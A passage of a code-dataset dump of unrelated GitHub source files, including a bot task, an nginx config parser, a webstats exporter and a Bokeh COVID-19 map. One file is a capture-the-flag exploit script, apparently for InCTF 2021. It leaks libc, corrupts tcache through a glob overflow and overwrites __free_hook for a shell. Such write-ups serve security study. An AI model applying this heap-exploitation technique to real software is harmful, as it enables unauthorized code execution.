print(-1)\n","repo_name":"deepredpark/algorithm","sub_path":"BOJ/greedy/p16953.py","file_name":"p16953.py","file_ext":"py","file_size_in_byte":238,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"6492745710","text":"#!/home/gmwcbot/venv/bin/python3\n# --------------------------------------------------- #\n# Scheduled task. #\n# According to the idea of this project, the task #\n# should be performed once every morning. #\n# --------------------------------------------------- #\n\nif __name__ == '__main__':\n from main import get_users, reset_limit_counter, send_cat\n\n reset_limit_counter()\n for user in get_users():\n send_cat(telegram_id=user[0], chat_id=user[0], type='morning')\n","repo_name":"pkmnxprss/gm-with-cats","sub_path":"deploy-pythonanywhere/task.py","file_name":"task.py","file_ext":"py","file_size_in_byte":530,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"74378909491","text":"import random\nimport string\n\nimport numpy as np\n\nimport shap\n\nfrom tensorflow import keras as K\n\nimport vaex\nimport vaex.ml\n\nsensor_data = '''\nT2|Total temperature at fan inlet|°R\nT24|Total temperature at LPC outlet|°R\nT30|Total temperature at HPC outlet|°R\nT50|Total temperature at LPT outlet|°R\nP2|Pressure at fan inlet| psia\nP15|Total pressure in bypass-duct|psia\nP30|Total pressure at HPC outlet|psia\nNf|Physical fan speed|rpm\nNc|Physical core speed|rpm\nepr|Engine pressure ratio (P50/P2)|--\nPs30|Static pressure at HPC outlet|psia\nphi|Ratio of fuel flow to Ps30|pps/psi\nNRf|Corrected fan speed|rpm\nNRc|Corrected core speed|rpm\nBPR|Bypass Ratio|--\nfarB|Burner fuel-air ratio|--\nhtBleed|Bleed Enthalpy|--\nNf_dmd|Demanded fan speed|rpm\nPCNfR_dmd|Demanded corrected fan speed|rpm\nW31|HPT coolant bleed|lbm/s\nW32|LPT coolant bleed|lbm/s'''.strip().split('\\n')\nsensor_data = [k.split('|') for k in sensor_data]\n\n\ndef r2_keras(y_true, y_pred):\n SS_res = K.backend.sum(K.backend.square(y_true - y_pred))\n SS_tot = K.backend.sum(K.backend.square(y_true - K.backend.mean(y_true)))\n return (1 - SS_res/(SS_tot + K.backend.epsilon()))\n\n\ndef load_data_sources():\n # Read the partially transformed test data for providing explanations\n df_test_expl = vaex.open('./data/df_test_expl.hdf5')\n # Read the fully transformed test data - on a per sequence basis\n df_test_trans = vaex.open('./data/df_test_trans.hdf5')\n # Read the final prediction data - on a per engine basis\n df_test_final = vaex.open('./data/df_test_final.hdf5')\n\n # Load the custom keras model\n model_path = './model/rul_model.hdf5'\n nn_model = K.models.load_model(model_path, custom_objects={'r2_keras': r2_keras})\n\n # Load the background data for the Shap explainer\n bg_seq_array = np.load('./model/bg_seq_array_data.npy')\n explainer = shap.GradientExplainer(model=nn_model, data=bg_seq_array)\n\n # For illustration purposes create a fake airplane by randomly pairing two engines.\n df_airplane = create_airplane(df_engine=df_test_final)\n\n return df_test_expl, df_test_trans, df_test_final, explainer, df_airplane\n\n\ndef create_airplane(df_engine):\n '''For illustration purposes create a fake airplane by randomly pairing two engines.\n '''\n state = np.random.RandomState(seed=42)\n engine_index = state.choice(df_engine.unit_number.to_numpy(), len(df_engine), replace=False)\n\n ids = []\n random.seed(42)\n for i in range(len(df_engine)//2):\n num = int(random.uniform(100, 999))\n c1 = random.choice(string.ascii_uppercase)\n c2 = random.choice(string.ascii_uppercase)\n id = f'N{num}{c1}{c2}'\n ids.append(id)\n\n left = engine_index[::2]\n right = engine_index[1::2]\n df_airplane = vaex.from_arrays(left=left, right=right, tail_number=ids)\n\n df_airplane = df_airplane.join(df_engine, left_on='left', right_on='unit_number', rsuffix='_left')\n df_airplane = df_airplane.join(df_engine, left_on='right', right_on='unit_number', rsuffix='_right')\n df_airplane['RUL_pred_shortest'] = df_airplane.RUL_pred.minimum(df_airplane.RUL_pred_right)\n\n return df_airplane\n\n","repo_name":"vaexio/dash-predictive-maintenance-app","sub_path":"src.py","file_name":"src.py","file_ext":"py","file_size_in_byte":3138,"program_lang":"python","lang":"en","doc_type":"code","stars":15,"dataset":"github-code","pt":"21"} +{"seq_id":"8130611476","text":"import time\nimport traceback\n\nimport log\n\n_LOG = log.LOG\n\nFILE_CACHE = {} # 缓存的文件\n_INTERVAL_TIME = 5 # 文件访问时间小于5秒,频率增加,否则下降\n\n\"\"\"\n读取文件,常用文件会缓存下来,避免每次读取\n最后修改时间:2022 03 13\n\"\"\"\n\n\nclass _File_INFO():\n \"\"\"记录缓存文件使用的情况,释放不常使用的文件\"\"\"\n\n def __init__(self, filename: str, content: bytes):\n self.frequency = 0\n self.last_use_time = time.time()\n self.filename = filename\n self.content = content\n\n _LOG.log(f\"新增文件缓存 {self.filename},当前所有缓存文件 {FILE_CACHE.keys()}\")\n\n def update(self):\n interval = time.time() - self.last_use_time # 两次访问的间隔时间\n self.last_use_time = time.time()\n\n if interval < _INTERVAL_TIME: # 间隔时间较短,频率越低\n self.frequency += 1\n else:\n self.frequency -= interval / _INTERVAL_TIME # 间隔时间越长,频率越低\n\n if self.frequency < 0: # 访问频率较低,删除缓存\n\n _LOG.log(f\"删除文件缓存 {self.filename},当前所有缓存文件 {FILE_CACHE.keys()}\")\n\n del FILE_CACHE[self.filename]\n\n\n@_LOG(\"读取文件\")\ndef read_from_file(filename: str):\n \"\"\"\n 从文件获取内容,如果在缓存中,直接返回,否则直接加入缓存\n :param filename:\n :return:返回文件内容,出错时,返回None\n \"\"\"\n try:\n if filename not in FILE_CACHE: # 缓存中没有该文件,从文件中读取\n with open(filename, \"rb\") as f:\n FILE_CACHE[filename] = _File_INFO(filename, f.read())\n return FILE_CACHE[filename].content\n except Exception as e:\n _LOG.log(f\"读取文件出错(read_from_file),错误信息 {e}\\n详细信息:\\n{traceback.format_exc()}\", tag=\"error\")\n return None\n","repo_name":"amomofromzero/server","sub_path":"server/b_app/b_web_server/b_read_from_file.py","file_name":"b_read_from_file.py","file_ext":"py","file_size_in_byte":1907,"program_lang":"python","lang":"zh","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"21048263164","text":"#!/usr/bin/env python3\nimport elasticsearch\nimport pyexcel_ods\nimport collections\nimport requests\n\n# Elastic handler\nes = elasticsearch.Elasticsearch([\n {'host': 'localhost', 'port': 9200, 'url_prefix': '', 'use_ssl': False},\n])\n \n\n# Make a \"book\" (an ODS file)\ndef makeBook(domain):\n book = collections.OrderedDict()\n \n # This is the global search. We'll adjust as needed\n query = {\n \"query\": {\n \"bool\": {\n \"must\": [{\n \"query_string\": {\n \"query\": \"vhost:\\\"%s\\\" AND document:*.html AND useragent:mozilla\" % domain,\n \"analyze_wildcard\": True\n }\n }, {\n \"range\": {\n \"@timestamp\": {\n \"gte\": \"now-30d\",\n \"lte\": \"now\",\n \"format\": \"epoch_millis\"\n }\n }\n }\n ],\n \"must_not\": []\n }\n },\n \"size\": 0,\n \"_source\": {\n \"excludes\": []\n },\n }\n \n # Get unique IPs\n query['aggs'] = {\n \"per_day\": {\n \"date_histogram\": {\n \"field\": \"@timestamp\",\n \"interval\": \"1d\",\n \"time_zone\": \"UTC\",\n \"min_doc_count\": 1\n },\n \"aggs\": {\n \"uniques\": {\n \"cardinality\": {\n \"field\": \"clientip.keyword\"\n }\n }\n }\n }\n }\n res = es.search(index='loggy-*', request_timeout=90, body = query)\n \n arr = [['Date', 'Unique visitors']]\n for el in res['aggregations']['per_day']['buckets']:\n d = el['key_as_string'].replace(' 00:00:00', '')\n c = el['uniques']['value']\n arr.append([d,c])\n book.update({'Unique visitors, past month': arr})\n \n \n \n # Get page views\n # We already have the data here, so no need for an additional query.\n res = es.search(index='loggy-*', request_timeout=90, body = query)\n \n arr = [['Date', 'Pageviews']]\n for el in res['aggregations']['per_day']['buckets']:\n d = el['key_as_string'].replace(' 00:00:00', '')\n c = el['doc_count']\n arr.append([d,c])\n book.update({'Pageviews, past month': arr})\n \n \n \n # Get most visited pages\n query[\"aggs\"] = {\n \"popular\" : {\n \"terms\" : {\n \"field\" : \"uri.keyword\",\n \"size\" : 50,\n \"order\" : {\"_count\":\"desc\"}\n }\n }\n }\n res = es.search(index='loggy-*', request_timeout=90, body = query)\n \n arr = [['URI', 'Pageviews']]\n for el in res['aggregations']['popular']['buckets']:\n d = el['key']\n c = el['doc_count']\n arr.append([d,c])\n book.update({'Most visited pages, past month': arr})\n \n \n \n # Get top referrers\n query[\"aggs\"] = {\n \"refs\" : {\n \"terms\" : {\n \"field\" : \"referer.keyword\",\n \"size\" : 25,\n \"order\" : {\"_count\":\"desc\"}\n }\n }\n }\n res = es.search(index='loggy-*', request_timeout=90, body = query)\n \n arr = [['Referrer', 'Pageviews']]\n for el in res['aggregations']['refs']['buckets']:\n d = el['key']\n c = el['doc_count']\n # We only use it if > 10 people have used it, so as to not divulge PII\n if c > 10 and d != '-':\n arr.append([d,c])\n book.update({'Top referrers, past month': arr})\n \n \n \n # Geomapping\n # We need to weed out some things here\n query[\"query\"][\"bool\"][\"must_not\"].append({\"query_string\": {\"query\": '(geo_country.keyword in (\"EU\", \"AP\", \"A1\", \"A2\", \"SX\", \"SS\", \"-\")) AND NOT geo_country.keyword:\"-\"'}})\n query[\"aggs\"] = {\n \"country\" : {\n \"terms\" : {\n \"field\" : \"geo_country.keyword\",\n \"size\" : 200,\n \"order\" : {\"_count\":\"desc\"}\n }\n }\n }\n res = es.search(index='loggy-*', request_timeout=90, body = query)\n \n arr = [['Country', 'Pageviews']]\n for el in res['aggregations']['country']['buckets']:\n if el['key'] != '-':\n d = el['key']\n c = el['doc_count']\n arr.append([d,c])\n book.update({'Geomapping, past month': arr})\n \n \n pyexcel_ods.save_data(\"/var/www/snappy/exports/%s.ods\" % domain, book)\n\n\nif __name__ == '__main__':\n # Get all projects, committees, podlings\n cmts = requests.get('https://whimsy.apache.org/public/committee-info.json').json()\n pods = requests.get('https://whimsy.apache.org/public/public_podlings.json').json()\n \n \n # Churn out a list of sub-domains to gather stats for\n subdomains = ['www.openoffice.org', 'openoffice.org', 'www.apache.org', 'apache.org']\n for k, cmt in cmts['committees'].items():\n if not '@' in cmt['mail_list']:\n subdomain = \"%s.apache.org\" % cmt['mail_list']\n subdomains.append(subdomain)\n \n for k, cmt in pods['podling'].items():\n subdomain = \"%s.apache.org\" % k\n if cmt['status'] == \"current\" and subdomain not in subdomains:\n subdomains.append(subdomain)\n \n for sdomain in sorted(subdomains):\n if sdomain:\n print(\"Charting %s\" % sdomain)\n makeBook(sdomain)\n print(\"All done\")\n","repo_name":"chruck/infrastructure-puppet","sub_path":"modules/webstats/files/webstats.py","file_name":"webstats.py","file_ext":"py","file_size_in_byte":6591,"program_lang":"python","lang":"en","doc_type":"code","dataset":"github-code","pt":"21"} +{"seq_id":"25708906058","text":"import matplotlib.pyplot as plt\nfrom time import process_time_ns\nfrom lib import MulFuncType, func_description, MatrixInt, simple_mul, win_mul, win_mul_imp\n\n\nclass Analyzer:\n _REPEATS = 5\n _FUNCS: dict[MulFuncType, str] = func_description\n _RESULTS: dict[MulFuncType, dict[int, dict[int, int]]] = {}\n _DIMS: dict[int, list[int]] = {0: [50 * x for x in range(1, 6)], 1: [50 * x + 1 for x in range(1, 6)]}\n\n @classmethod\n def start(cls) -> None:\n for f in cls._FUNCS:\n print(f'{cls._FUNCS[f]} get started')\n cls._RESULTS[f] = {}\n # cls._RESULTS[f][0] = {dim: cls._test_function(f, cls._REPEATS, dim) * 1e-9 for dim in cls._DIMS[0]}\n # print('Done 1/2')\n cls._RESULTS[f][1] = {dim: cls._test_function(f, cls._REPEATS, dim) * 1e-9 for dim in cls._DIMS[1]}\n print(f'{cls._FUNCS[f]} Done')\n\n cls.print_result()\n # cls.render_graph(simple_mul, win_mul, win_mul_imp, type_=0)\n cls.render_graph(simple_mul, win_mul, win_mul_imp, type_=1)\n # cls.render_graph(simple_mul, win_mul, win_mul_imp, type_=None)\n\n\n @classmethod\n def print_result(cls) -> None:\n for func, description in cls._FUNCS.items():\n print(f'{description}:')\n for t, result in cls._RESULTS[func].items():\n for dim, res_time in result.items():\n print(f'\\t{dim}x{dim}: {round(res_time, 3)} s')\n print()\n\n @classmethod\n def render_graph(cls, *args, **kwargs) -> None:\n plt.clf()\n\n plt.xlabel('Размерность')\n plt.ylabel('Время, с')\n plt.grid(axis='y', color='gray', linewidth=0.5)\n\n for func in args:\n x, y = [], []\n type_ = kwargs['type_']\n if type_ is None:\n for dim, res_time in sorted(tuple(cls._RESULTS[func][0].items()) + tuple(cls._RESULTS[func][1].items())):\n x.append(dim)\n y.append(res_time)\n\n plt.plot(x, y, '-o', label=cls._FUNCS[func])\n else:\n for dim, res_time in cls._RESULTS[func][kwargs['type_']].items():\n x.append(dim)\n y.append(res_time)\n\n plt.plot(x, y, '-o', label=cls._FUNCS[func] + f'({\"нечет\" if kwargs[\"type_\"] else \"чет\"})')\n plt.legend()\n plt.savefig('measures2.png')\n plt.show()\n\n @staticmethod\n def _test_function(func: MulFuncType, repeat: int, dim: int) -> int:\n import functools\n import timeit\n\n lm, rm = MatrixInt(dim, dim).fill_rand(), MatrixInt(dim, dim).fill_rand()\n return min(timeit.Timer(stmt=functools.partial(func, lm, rm), timer=process_time_ns).repeat(1, repeat)) / repeat\n","repo_name":"ivaaahn/bmstu-aa","sub_path":"lab_02/analysis.py","file_name":"analysis.py","file_ext":"py","file_size_in_byte":2773,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"24212916443","text":"#!/usr/bin/env python3\n# -*- coding: utf-8 -*-\n# File Name : nginx.py\n'''Purpose : Intro sth '''\n# Creation Date : 1466596400\n# Last Modified :\n# Release By : Doom.zhou\n###############################################################################\n\nimport re\nimport os\nimport sys\nimport logging\n\ndef NginxParse(s='lapp/nginx/file/site-enable_dir/'):\n if not os.path.isdir(s):\n logging.warning('args error')\n sys.exit(2)\n UpstreamListDict, ServerListDict = [], []\n UpstreamStartFlag, UpstreamEndFlag = False, False\n upstream_name, upstream_servers = '', ''\n ServerStartFlag, ServerEndFlag, LocationStartFlag, LocationEndFlag = False, True, False, True\n server_name, location_name, backend_name = '', '', ''\n for nginx_file in [x for x in os.listdir(s) if os.path.isfile(os.path.join(s, x))]:\n for line in open(os.path.join(s, nginx_file), 'r').readlines():\n if re.match(r'^ *#.*', line): # Ignore comment line\n continue\n if re.match(r'^ *upstream', line):\n UpstreamStartFlag = True\n m = re.search(r'^ *upstream +(.*) {', line)\n upstream_name = m.group(1)\n elif UpstreamStartFlag == True and UpstreamEndFlag == False \\\n and re.match(r'^ *server ', line):\n m = re.search(r'^ *server +(.*);', line)\n upstream_servers += '%s ' % m.group(1)\n elif UpstreamStartFlag == True and UpstreamEndFlag == False \\\n and re.match(r'^ *}', line):\n UpstreamStartFlag, UpstreamEndFlag = False, False\n UpstreamListDict.append({\"upstream_name\": upstream_name,\n \"upstream_servers\": upstream_servers[:-1]})\n upstream_name, upstream_servers = '', ''\n # above upstream parser;below server parser\n if ServerStartFlag == False and ServerEndFlag == True \\\n and LocationEndFlag == True and LocationStartFlag == False \\\n and re.match(r'server {' ,line):\n ServerStartFlag = True\n elif ServerStartFlag == True and ServerEndFlag == True \\\n and LocationEndFlag == True and LocationStartFlag == False \\\n and re.match(r'^ *server_name .*;', line):\n m = re.search(r'^ *server_name +(.*);', line)\n server_name = m.group(1)\n elif ServerStartFlag == True and ServerEndFlag == True \\\n and LocationEndFlag == True and LocationStartFlag == False\\\n and re.match(r'^ *location .*{', line):\n LocationStartFlag = True\n m = re.search(r'^ *location +(.*) {', line)\n location_name = m.group(1)\n elif ServerStartFlag == True and ServerEndFlag == True \\\n and LocationEndFlag == True and LocationStartFlag == True:\n if re.match(r'^ *proxy_pass *http://.*;', line):\n m = re.search(r'^ *proxy_pass *http://(.*);', line)\n backend_name = m.group(1)\n backend_name = backend_name[:-1] if backend_name[-1] == '/' else backend_name\n try:\n backend_name = [x for x in UpstreamListDict if backend_name \\\n == x['upstream_name']][0]['upstream_servers']\n except:\n pass\n elif re.match(r'^ *root .*;', line):\n m = re.search(r'^ *root +(.*);', line)\n backend_name = m.group(1)\n elif re.match(r'^ *rewrite .*;', line):\n m = re.search(r'^ *rewrite +(.*);', line)\n backend_name = m.group(1)\n elif re.match(r'^ *}', line):\n LocationStartFlag, LocationEndFlag = False, True\n ServerListDict.append({\n \"server_name\": server_name,\n \"location_name\": location_name,\n \"backend_name\": backend_name\n })\n elif ServerStartFlag == True and ServerEndFlag == True \\\n and LocationEndFlag == True and LocationStartFlag == False\\\n and re.match(r'^ *}', line):\n LocationEndFlag = True\n ServerStartFlag, ServerEndFlag, LocationStartFlag, \\\n LocationEndFlag = False, True, False, True\n from pprint import pprint\n pprint(ServerListDict)\n\nif __name__ == '__main__':\n pass\n","repo_name":"doomzhou/NginxConfParser","sub_path":"nginxconfparser.py","file_name":"nginxconfparser.py","file_ext":"py","file_size_in_byte":4570,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"4482231640","text":"# Imports\nfrom bokeh.plotting import figure\nfrom bokeh.io import output_notebook, output_file, show, curdoc,save\nfrom bokeh.models import GeoJSONDataSource, LinearColorMapper, \\\nColorBar, NumeralTickFormatter, HoverTool, Select, ColumnDataSource,WheelZoomTool\nfrom bokeh.layouts import layout\nfrom bokeh.transform import factor_cmap\nfrom bokeh.palettes import brewer,d3,inferno,viridis,cividis,mpl,Spectral6,magma\nfrom bokeh.themes import built_in_themes\nimport geopandas as gp\nimport pandas as pd\nimport json\n\n# Read the new 2019 census\nlatest_census = pd.read_csv('kenya_population_by_sex_and_county.csv')\nlatest_census.head()\n\n# Read the shapefile\nshapefile = 'Shapefile/ke_county.shp'\ngeofile = gp.read_file(shapefile)\ngeofile = geofile.rename(columns={'pop 2009': 'pop2009'})\ngeofile = geofile.sort_values(by='gid')\n\n# Read the csv\n# covid_data = pd.read_csv('covid_counties.csv', index_col=False)\n\n# read csv of covid numbers into dataframe \ndf_covid = pd.read_csv('corona_ke.csv')\n\n# create a merged dataframe for the geofile dataframe and covid cases csv\nmerged = pd.merge(geofile,df_covid[['county', 'covid_num']], on='county')\n\n# comprehensive data, merge the tables and use a left join to preserve the state of the merged df\ncomp_merged = pd.merge(merged,latest_census[['county','Male','Female','Intersex','Total']], on='county',how='left')\n\n#comp_merged.dropna\n\n# Read the data to json\nmerged_json = json.loads(comp_merged.to_json())\n\n# convert to string like object\njson_data = json.dumps(merged_json)\n\n# Input GeoJSON source that contains features for plotting\ngeosource = GeoJSONDataSource(geojson=json_data) \n\n# Define a sequential multi-hue color palette.\npalette = magma(50)\n\n# Reverse colour order so that blue is for the highest density\npalette = palette[::-1]\n\n# Add Hover tool\nhover = HoverTool(tooltips=[\n ('County','@county'),\n ('COVID-19 CASES','@covid_num'),\n ('Population 2019','@Total'),\n ('Male','@Male'),\n ('Female','@Female'),\n ('Intersex','@Intersex')\n]\n)\n\n# Instantiate LinearColorMapper that maps numbers in a range into a sequence of colors\ncolor_mapper = LinearColorMapper(palette=palette, low=0, high=10000)\n\n# Create the color bar. \ncolor_bar = ColorBar(\n color_mapper=color_mapper,\n label_standoff=10,\n width=600,\n height=20,\n border_line_color=None,\n location = (0, 0), # major_label_overrides=tick_labels,\n orientation='horizontal')\n\n# Create the figure object\np = figure(\n title='COVID-19 cases distribution per county Kenya (as of 23th April 2020). Hover/tap to view County details.',\n plot_height=1500,\n plot_width=1200,\n toolbar_location='right'\n )\np.xgrid.grid_line_color = None\np.xgrid.grid_line_color = None\np.sizing_mode = \"scale_both\"\np.background_fill_color= \"aqua\"\np.title.text_color = \"teal\"\np.title.text_font = \"times\"\np.title.text_font_style = \"bold italic\"\np.title.text_font_size = \"27px\"\n\n# Add patch renderer to figure.\np.patches('xs', 'ys', source=geosource, \n fill_color={'field':'covid_num','transform': color_mapper},\n line_color='black',\n line_width=0.25,\n fill_alpha=1\n)\n\n# Specify the figure of the layout.\np.add_layout(color_bar, 'below',)\n\n# Add tools to the map\np.add_tools(hover)\n\n# Initialize document to draw on\n\ncurdoc().add_root(p)\n\n## Display figure inline in the Notebook\n# output_notebook()\n\n## Display figure \n# show(p)\n\n# Read the data\nke_stats = pd.read_csv('covid_ke_stats.csv')\n\n# Save graph in html when using a notebook\n# output_file('kenyan_stats_covid.html')\n\n# get the column values\nCases = ke_stats.columns.values\n\n# get row values\nnumbers = list(ke_stats.iloc[0])\n\n# Read to a form bokeh understands; to draw plots\nsource = ColumnDataSource(data=dict(Cases=Cases, numbers=numbers))\n\n# plot the graph\np1 = figure(\n x_range=Cases,\n plot_height=1000,\n toolbar_location='right',\n title=\"COVID-19 CASES as at 15 August 2020\",\n tools='hover',\n tooltips=\"@Cases: @numbers\"\n )\np1.vbar(\n x='Cases',\n top='numbers',\n width=1,\n source=source,\n legend_field='Cases',\n line_color='white',\n fill_color=factor_cmap('Cases',\n palette=Spectral6,\n factors=Cases)\n )\n\np1.xgrid.grid_line_color = None\np1.y_range.start = 0 \np1.y_range.end = 400000\np1.legend.orientation = \"vertical\"\np1.legend.location = \"top_right\"\np1.background_fill_color = \"beige\"\np1.sizing_mode =\"scale_both\"\np1.title.text_color = \"teal\"\np1.title.text_font = \"times\"\np1.title.text_font_style = \"bold italic\"\np1.title.text_font_size = \"27px\"\n\n# Combine the two figures into one display\nz = layout([p],[p1])\n\n# Initialize document to draw on\ncurdoc().add_root(z)\n\n# Create a standalone HTML file with JS code included in 'inline' mode\noutput_file('covidke_data.html', title=\"COVID-KE data Kenya\", mode='inline')\nsave(z)","repo_name":"Fezaro/kenya-covid-visualization","sub_path":"vizapp.py","file_name":"vizapp.py","file_ext":"py","file_size_in_byte":4772,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"21"} +{"seq_id":"7535551113","text":"#!/usr/bin/python\n\nfrom pwn import *\nimport sys\n\nremote_ip, port = 'pwn.challenge.bi0s.in','1299'\nbinary = \"./glob\"\nbrkpts = '''\n'''\n\nelf = ELF(binary)\n\nre = lambda a: io.recv(a)\nreu = lambda a: io.recvuntil(a)\nrl = lambda: io.recvline()\ns = lambda a: io.send(a)\nsl = lambda a: io.sendline(a)\nsla = lambda a,b: io.sendlineafter(a,b)\nsa = lambda a,b: io.sendafter(a,b)\n\nif len(sys.argv) > 1:\n io = remote(remote_ip, port)\n context.noptrace = True\n\nelse:\n io = process(binary)\n\ndef choice(i):\n sla(\"Choice >> \",str(i))\n\ndef add(idx,size,pattern):\n choice(1)\n sla(\"idx >> \",str(idx))\n sla(\"size >> \",str(size))\n sla(\"path >> \",pattern)\n\ndef check(idx):\n choice(2)\n sla(\"idx >> \",str(idx))\n\ndef view(idx):\n choice(3)\n sla(\"idx >> \",str(idx))\n\ndef free(idx):\n choice(4)\n sla(\"idx >> \",str(idx))\n\nif __name__==\"__main__\":\n #Leak libc\n add(0,0x570,\"a\"*8)\n # Add a chunk containing /bin/sh for later use as well as preventing consolidation\n add(1,0x10,\"/bin/sh\\x00\")\n free(0)\n add(0,0x570,\"\")\n view(0)\n reu(\"Path : \")\n libc = u64(re(6) + '\\x00'*2) - 0x1ebb00\n free_hook = libc + 0x1eeb28\n system = libc + 0xe6c7e\n log.info(\"libc = \" + hex(libc))\n\n # Fill some tcache so that glob allocates from there itself\n # The fake chunk will be pointing to one of these chunks, so populate fd with free hook\n for i in range(3):\n add(i+2,0x80,\"1\"*0x20 + p64(0) + p64(0x21) + p64(free_hook))\n # In the source of glob.c , malloc (end_name - dirname) will allocate a chunk of size 0x51 (this is based on my input) , so allocate a chunk and free it , so that the malloc inside glob.c takes from here\n add(6,0x40,\"6666\")\n free(6)\n\n add(5,0x80,\"4444\")\n for i in range(4):\n free(i+2)\n\n # Pattern to trigger overflow and overwrite tcache fd of the next free chunk in memory\n pattern = \"~dwawddwadawdaadwdwadwadawadwadwadwadwaawwadwdwaw\\\\dadawdawdawda//daadwdadw/////////\"\n pattern = pattern.ljust(0x114,'a')\n # This corrupts the size and writes a null byte to the tcache fd of a 0x80 size chunk\n add(6,len(pattern)+1,pattern)\n check(6)\n\n # after this , tcache 0x90 fd points to -> fake_chunk -> free_hook\n add(7,0x80,\"use tcache\") #fake_chunk -> free_hook (use up tcache)\n add(2,0x80,\"use fake_chunk\") #free_hook (use up tcache)\n add(3,0x80,p64(system)) # Get allocation on free_hook , overwrite it with gadget\n\n io.interactive()\n","repo_name":"teambi0s/InCTFi","sub_path":"2021/Pwn/Baby_glob/Admin/exp.py","file_name":"exp.py","file_ext":"py","file_size_in_byte":2451,"program_lang":"python","lang":"en","doc_type":"code","stars":143,"dataset":"github-code","pt":"21"} +{"seq_id":"14725052323","text":"import csv\n\nfrom pathlib import Path\n\n\ndef read_csv(file_name: str) -> None:\n path = Path(\".\").resolve()\n file_path = path.joinpath(\"data\").joinpath(file_name)\n\n with open(file_path, newline=\"\") as csvfile:\n reader = csv.DictReader(csvfile)\n return (reader.fieldnames, list(reader))\n\n\ndef save_to_csv(filename: str, data) -> None:\n headers = data[0].keys()\n with open(filename, \"w\", encoding=\"utf8\") as fd:\n csv_out = csv.DictWriter(fd, fieldnames=headers)\n csv_out.writeheader()\n csv_out.writerows(data)\n","repo_name":"n1lux/csv-to-table","sub_path":"utils/csv_operations.py","file_name":"csv_operations.py","file_ext":"py","file_size_in_byte":555,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"72178272372","text":"import os\nimport json\nimport argparse\nimport yaml\nimport mlflow\nfrom dotenv import load_dotenv, set_key\nfrom transformers import AutoModel, AutoTokenizer, AutoConfig, logging\nfrom utils.path_helper import set_project_root_path\nfrom utils.train_utils import set_seed\nfrom utils.mlflow_utils import get_or_create_experiment\nfrom model.dataset import ValueEvalDataLoader, TaptValueEvalDataLoader, UnifiedTaptValueEvalDataLoader\nfrom model.trainer import Trainer\nfrom model.model import TransformerClassifier, TaptTransformerClassifier\nfrom utils.callbacks import EarlyStoppingCallback\nfrom pathlib import Path\n\n\npretrained_models = [\n 'bert-base-uncased',\n 'distilbert-base-uncased',\n 'albert-base-v2',\n 'sentence-transformers/all-mpnet-base-v2',\n 'xlnet-base-cased',\n 'sentence-transformers/all-distilroberta-v1',\n 'roberta-large'\n]\n\npretrained_tapt_models = [\n f'models/TAPT/{ptm.replace(\"/\", \"--\")}/checkpoint-219' for ptm in pretrained_models\n]\n\n_params = [\"batch_size\", \"dropout\", \"label_index\", \"lr\", \"max_norm\", \"threshold\", \"warmup_steps\"]\ndownsample_on = [0, 1, 4, 6, 9, 11, 18, 19]\n\n\ndef update_config(_label_index: int, _configs: dict) -> dict:\n with open(f'models/best_models_per_label/{label_index}/run_config.json') as per_label_config:\n best_params = json.load(per_label_config)\n\n params = {k: best_params[k] for k in _params}\n params['downsampling'] = True if _label_index in downsample_on else False\n for param, val in params.items():\n _configs.update({param: val})\n return _configs\n\n\ndef train_ova(__configs: dict, __label_index: int) -> None:\n\n set_seed(__configs['seed'])\n\n tokenizer = AutoTokenizer.from_pretrained(__configs['pretrained_model'])\n pr_model = AutoModel.from_pretrained(__configs['pretrained_model'])\n\n if __configs['tapt']:\n model = TaptTransformerClassifier(\n model=pr_model,\n dropout=__configs['dropout'],\n n_classes=__configs['n_classes'],\n pooling=__configs['pooling'],\n normalization=__configs['normalization']\n )\n dataloaders = UnifiedTaptValueEvalDataLoader(\n train_dataset_file=__configs['train_dataset_path'],\n train_labels_file=__configs['train_labels_path'],\n val_dataset_file=__configs['val_dataset_path'],\n val_labels_file=__configs['val_labels_path'],\n tokenizer=tokenizer,\n batch_size=__configs['batch_size'],\n max_len=__configs['max_len'],\n against_phrases=__configs['against_phrases'],\n in_favor_phrases=__configs['in_favor_phrases'],\n ova=__configs['ova'],\n downsampling=__configs['downsampling'],\n label_index=__label_index # __configs['label_index'] works too, is updated in the config\n )\n else:\n model = TransformerClassifier(\n model=pr_model,\n dropout=__configs['dropout'],\n n_classes=__configs['n_classes'],\n pooling=__configs['pooling'],\n normalization=__configs['normalization']\n )\n dataloaders = ValueEvalDataLoader(\n train_dataset_file=__configs['train_dataset_path'],\n train_labels_file=__configs['train_labels_path'],\n val_dataset_file=__configs['val_dataset_path'],\n val_labels_file=__configs['val_labels_path'],\n tokenizer=tokenizer,\n batch_size=__configs['batch_size,'],\n max_len=__configs['max_len']\n )\n train_dataloader = dataloaders.train_dataloader()\n validation_dataloader = dataloaders.val_dataloader()\n\n early_stopping = EarlyStoppingCallback(patience=__configs['early_stopping_patience']) \\\n if __configs['early_stopping_patience'] else None\n\n # Create folder for specific experiment to store models inside\n os.makedirs(__configs['model_folder'], exist_ok=True)\n\n trainer = Trainer(tokenizer=tokenizer,\n train_dataloader=train_dataloader,\n validation_dataloader=validation_dataloader,\n epochs=__configs['epochs'],\n pooling=__configs['pooling'],\n clipping=__configs['clipping'],\n max_norm=__configs['max_norm'],\n learning_rate=__configs['lr'],\n beta1=__configs['beta1'],\n beta2=__configs['beta2'],\n weight_decay=__configs['weight_decay'],\n warmup_steps=__configs['warmup_steps'],\n threshold=__configs['threshold'],\n model=model,\n model_folder=__configs['model_folder'],\n model_name=__configs['model_name'],\n early_stopping_cb=early_stopping)\n\n experiment_id = get_or_create_experiment(\n tracking_uri=__configs['tracking_uri'], name=__configs['experiment_name']\n )\n with mlflow.start_run(experiment_id=experiment_id, run_name=__configs['run_name']):\n mlflow.log_params(__configs)\n trainer.train()\n\n\nif __name__ == '__main__':\n\n set_project_root_path()\n\n parser = argparse.ArgumentParser()\n parser.add_argument(\n '--configuration_file',\n '-cf',\n help='The path of the configuration file',\n default=\"configs/train_configs.yaml\")\n args = parser.parse_args()\n configuration_file = 